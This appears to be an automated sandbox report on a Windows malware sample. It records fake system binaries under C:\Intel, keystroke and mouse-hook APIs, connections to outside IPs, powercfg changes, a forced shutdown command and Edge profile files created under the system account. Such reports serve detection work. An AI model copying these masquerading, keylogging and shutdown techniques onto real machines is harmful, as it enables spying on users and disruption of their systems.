Source: unknown	Network traffic detected: HTTP traffic on port 58099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53838
Source: unknown	Network traffic detected: HTTP traffic on port 57887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60363
Source: unknown	Network traffic detected: HTTP traffic on port 54116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62302
Source: unknown	Network traffic detected: HTTP traffic on port 62485 -> 443

Source: unknown	HTTPS traffic detected: 57.129.37.28:443 -> 192.168.11.20:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 186.233.187.24:443 -> 192.168.11.20:49729 version: TLS 1.2

Source: C:\Intel\svchost.exe

Code function: 45_2_03E38D00 GetKeyState,GetKeyboardState,

45_2_03E38D00

Source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp

Binary or memory string: DirectDrawCreateEx

memstr_a7eebb2c-6

Source: C:\Intel\Trays\Trays.exe

Windows user hook set: 0 mouse C:\Intel\Trays\ShellEh6055.dll

Jump to behavior

Source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp

Binary or memory string: GetRawInputData

memstr_2e655048-a

System Summary

Uses powercfg.exe to modify the power settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0

Uses shutdown.exe to shutdown or reboot the system

Source: unknown

Process created: C:\Windows\System32\shutdown.exe C:\Windows\system32\shutdown.EXE /s /f /t 0

Source: C:\Intel\svchost.exe	Code function: 45_2_03E3A4B6 NtdllDefWindowProc_A,	45_2_03E3A4B6
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3A4B8 NtdllDefWindowProc_A,	45_2_03E3A4B8
Source: C:\Intel\svchost.exe	Code function: 47_2_03E3A4B6 NtdllDefWindowProc_A,	47_2_03E3A4B6
Source: C:\Intel\svchost.exe	Code function: 47_2_03E3A4B8 NtdllDefWindowProc_A,	47_2_03E3A4B8
Source: C:\Intel\svchost.exe	Code function: 48_2_03E3A4B6 NtdllDefWindowProc_A,	48_2_03E3A4B6
Source: C:\Intel\svchost.exe	Code function: 48_2_03E3A4B8 NtdllDefWindowProc_A,	48_2_03E3A4B8

Source: C:\Intel\driver.exe

Code function: 43_2_00404B5C: CreateFileW,DeviceIoControl,CloseHandle,

43_2_00404B5C

Source: C:\Intel\driver.exe

Code function: 43_2_0040C734 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,

43_2_0040C734

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677E9752-898.pma
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\warnStateCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\lockfile
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Version
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\README
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\5b5deae7-5948-4f9d-a5d7-7c5c82e1def1.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\First Run
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Safe Browsing
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\FirstLaunchAfterInstallation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\a607a6e0-d121-46b9-acd8-938366051ae4.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\bd0da526-500b-4ec5-9cd7-b01a7259ff1c.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico~RF5e3a1.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\3f586463-88ae-4ee0-80d5-dac3388e889e.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\46406dc5-8b10-4fd0-965d-7071cfdaa9de.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\OriginTrials
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Speech Recognition
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Edge Shopping
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\WidevineCdm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF5e40e.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\284ad408-0612-4642-b727-46e2cd71554f.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\71233176-7db9-45e7-ba37-ca177fe43407.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\4365c6eb-9629-4cdf-ba3e-654008b66739.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF5e70c.TMP
